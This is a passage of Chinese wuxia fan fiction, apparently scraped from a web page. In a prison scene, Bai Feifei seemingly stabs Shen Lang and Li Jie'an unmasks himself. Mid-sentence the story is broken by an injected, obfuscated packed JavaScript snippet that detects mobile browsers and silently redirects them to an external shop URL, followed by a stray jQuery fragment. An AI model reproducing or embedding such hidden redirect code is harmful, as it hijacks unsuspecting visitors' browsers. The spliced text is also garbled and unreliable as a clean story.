沈浪鼻翼微动,闻到李长青身上带着一丝奇特的味道,他有些迟疑,道:“莫非前辈是服用了逍遥散?”
李长青苦笑着点点头:“前些日子,容川为我带来几味药材,说是药王谷最新研制,对我的病症有奇效。我试了试,果然爽利许多。自此便离不开这药。没想到今日才知道,那方子竟是用逍遥散改良而成。我这病躯,怎经得起那种虎狼之药的折腾?眼看,已经没有多少时日了。”
沈浪见他说得颓丧,道:“前辈也不必过于忧心,江湖上还有很多名医,据说花满楼的医术也不错,不如让他看一看,再把身体细细调理过来。”
李长青的神色并没有因为此话好转。沈浪觉察到李长青对自己的病情已经不抱希望,心中暗暗叹息一声。
“能医不自医,我看今日的花公子,已经不是昔日的花满楼了。”李长青叹息道。
“前辈怎么这么说?我倒觉得花公子还是那个花公子。”沈浪道。
李长青赞赏地看了眼沈浪:“天下人若都有你这份胸襟,江湖又何必有事?”说罢他又摇头叹息:“花满楼自从三年前被李解鞍骗过,自此便大不相信人。你看昨日在宴席上,他除了和陆小凤说话,还对别人亲近过么?我看,他早已失了平常心。他原本就眼睛看不见,现在,却连心也蒙蔽了。”
沈浪面色一寒,似是有些不豫:“话不能这么说。天下人无论是谁,受了李解鞍那样的愚弄,还差点弄得兄弟之间有了嫌隙,都得仔细反思省视自己。我看花公子这三年,行为谨慎,思虑周全,倒并不比以前差。”
这话别人听了没什么,方侵竹听了倒大是高兴。不过黑暗中看不清花满楼神情,不知道他听到沈浪夸自己作何反应。他有些遗憾,这时脑门却被陆小凤敲了下:“夸的又不是你,瞧把你乐的。”
方侵竹摸着头,大是不解:“陆小凤,你怎么看得见我在笑?”
陆小凤又装起来,抱着手臂道:“难道你以为别人都跟你一样什么都看不见吗?”
方侵竹知道陆小凤定不会好好说话,便不做理会,又向牢房中看去。
陆小凤却忽道:“花满楼,怎么了?”
迟疑了一会,花满楼方才说道:“可能是我多心了,总觉得……还有另一个人的呼吸声。”
这话一听,乍是吓人。方侵竹觉得自己汗毛都竖起来了,他紧张地望向周围,却除了远处一点朦胧的灯火,什么都看不见。黑暗容易滋生想象,他顿时觉得到处都有一双眼睛在盯着自己。
“啧。”连陆小凤也觉得很讨厌地咋了下舌。
只听李长青又咳嗽了几声,道:“我不知道,原来你对花满楼的评价这么高。”
“花公子名满江湖,又何须我的评价?晚辈只是有事说事。”
李长青摇了摇头,叹息道:“我也不是来和你说花满楼的。唉……沈浪,你为何看不上飞飞呢?你可知,她,确实是个苦孩子啊!”
李长青说完,却又觉得自己多嘴似得,皱着眉低下头去。
沈浪仰头靠在墙壁上:“前辈,这个问题我已说过。况且,他人的事情,又与我何干?白姑娘可怜,但天下可怜人只有白姑娘不成?”
“沈浪,你!”连天云怒道:“不要给脸不要脸!”
李长青自是容不得连天云如此说话:“三弟,来之前你是怎么答应我的?男女婚姻,须得你情我愿,强求不得。”
“哪里有什么你情我愿,还不是父母之命,媒妁之言!”连天云道。
沈浪忽然哈哈大笑起来。他笑够了,方道:“请问前辈,却去哪里给沈浪找一个父母之命来?”
李长青脸色一暗,连天云也说不出话来。沈浪的父亲沈天君为了整个江湖的安宁死于小人之手,沈浪又把全部财产送给了仁义庄,他们实在是没有资格再要求沈浪做什么。
“你可知,飞飞要嫁给谁么?”李长青的脸色极差,关于这个话题,他本不应该再说下去。可是他真得很怕现在不说,就再也没机会说了。
沈浪抿着唇,并不说话。
见沈浪如此反应,李长青十分震惊,整个人都颤抖你来:“你是知道的?!沈浪,你知道飞飞要嫁给谁,你为何还……还不肯答应她,你难道要眼睁睁看她跳进火坑吗?”
这老人本以为沈浪并不知晓那件秘密,却没想到沈浪早已知道,仍然拒绝了白飞飞。他不相信地看着沈浪,整个人抽/搐起来,口吐白沫,向后倒去。
“大哥!”连天云连忙保住他,掏出一个瓷瓶,倒了一粒药丸送进李长青的嘴里。
那药竟有奇效。过了一会,李长青醒过来,他看着沈浪,仍是十分痛心:“你……你为何不救救她啊!你明知,她要嫁给快活王,那,那是她的……”李长青竟不知该如何说下去。
“义父,不要再说了。”
黑暗中走出一个人来。白飞飞静静地看着沈浪,神色麻木。
“飞飞,你什么时候来的?”李长青惊讶地问。
“我早就在这里了。义父,你的身体怎样?”
“不碍事。”李长青挣扎着起来:“飞飞,牢房这样的地方不是你一个女孩子该来的。我们回去吧。
”他去握住白飞飞的手,却被白飞飞挣脱开来。白飞飞冷冷的看着沈浪。沈浪也看着她。
“沈浪……”白飞飞一声喟叹,在沈浪面前蹲了下来。她的手指触到沈浪的脸:“为什么要让我遇见你?若是从来知道有你这样的人,我……我是不是就甘心去那个魔鬼的身边?”
沈浪皱眉:“白姑娘,这一切都是你自己选择的。”
白飞飞苦笑:“选择?我有什么选择的机会?”
沈浪终是有些不忍:“你可以选择放下仇恨。”
“哈哈哈哈!”白飞飞忍不住哈哈大笑起来。等她笑够了,却忽然五指一张,抓/住沈浪的肩头。血从指尖渗了出来,沈浪痛得皱了一下眉头。
“沈郎君啊沈郎君,你说说你自己,能放下仇恨吗?你这些年,不也在寻找那个杀死沈天君的凶手吗?”
沈浪似是被这一句话触道了痛处,神色扭曲起来。
白飞飞更是得意:“你自己都做不到,凭什么要求我?”她凑近沈浪的耳畔:“再说,我并不求和你做一世夫妻,只要我在嫁给那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14159566|150395||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个人之前,知道……原来我也可以很快乐。沈浪,沈大侠,沈郎君,你连一个小女子这点小小的愿望都不能答应吗?”
她凑近沈浪,额头抵着额头,手指移到沈浪的唇边。
“啊!”白飞飞忽然惊叫一声,推开沈浪,躲了出去。
她的手指鲜血淋淋,却差点被要断了。
“哈哈哈……”沈浪笑了起来,笑中带泪:“白飞飞,你要做什么就去做什么,不要拿沈浪来安慰你自己!须知,沈浪也是人……”
白飞飞恨得浑身颤抖。她不知道这个人竟能狠心如斯。
“飞飞,你可要紧?”李长青担心地问。
白飞飞霍地站起来,抽/出一把明亮的匕首:“我得不到的,别人也休想得到。”她说这话的时候,十分平静。
沈浪一惊,一把匕首已经刺透他的胸膛。白飞飞看起来像是在拥抱着他:“我们永远不会再见面了。”
沈浪我胸口流出/血来。他脸色灰败,张了张嘴,最终无力地倒了下去。
“哐当”,匕首掉在了地上,白飞飞站了起来。
“飞飞,你……”李长青惊地说不出话来。
而说不出话来的还有另一个。方侵竹怎么也没想到事情会如此进展,他看着沈浪胸前流出的血,简直惊呆了,而更让他无法理解的是,就在他想要飞刀出手的瞬间,陆小凤忽然点住了他的穴/位。
他用密语传音的方式疯狂大喊:“陆小凤,你干什么!快把我解开!”
陆小凤的声音非常冷静:“看下去。”
“沈大哥说不定还有救,快把我解开……”方侵竹看着那血越老越多,差点就要哭了出来。
“无事。”花满楼忽然走进了些,对他道:“我能闻出气味,那不是人血。”
花满楼的话自有奇效,方侵竹果然就安静了下来。陆小凤又是很嫌弃地咋了下舌。
方侵竹只好“冷静”地看着沈浪血流个不停。
“我杀了他。”白飞飞说道。
李长青道:“你这个傻孩子!你怎么能……唉,这可如何是好……”
“噗嗤。”
这时,忽然听到一人的笑声。这笑声突兀且诡异。白飞飞立刻皱眉道:“谁!”
“噗噗噗!”那大笑不止的,竟是连天云!
只见“连天云”骨骼发出奇响,整个人竟瘦了,他伸手一抹,脸也变了,再一旋身,竟换了一身衣服。
一个风度翩翩的青衣公子出现在他们眼前。
“你是谁?”白飞飞觉得毛骨悚然。她把李长青护到身后,问。
那个青衣公子忽然抱拳,他向白飞飞长辑行礼:“白姑娘,多谢你让我看了一出好戏。本也想亲眼看看白姑娘和快活王成亲的场景,但没了沈浪,这出戏也就没有多大看头。今日,一代名侠沈浪竟死在这暗无天日的大牢里,想来真是觉得世间之事,难以预料!”
“你!是!谁!”白飞飞咬牙道。
“哎呀,竟忘了自我介绍吗?真是失礼失礼。”那青衣公子把飘拂在肩前的发带拂到身后,拱手道:“小生李解鞍。”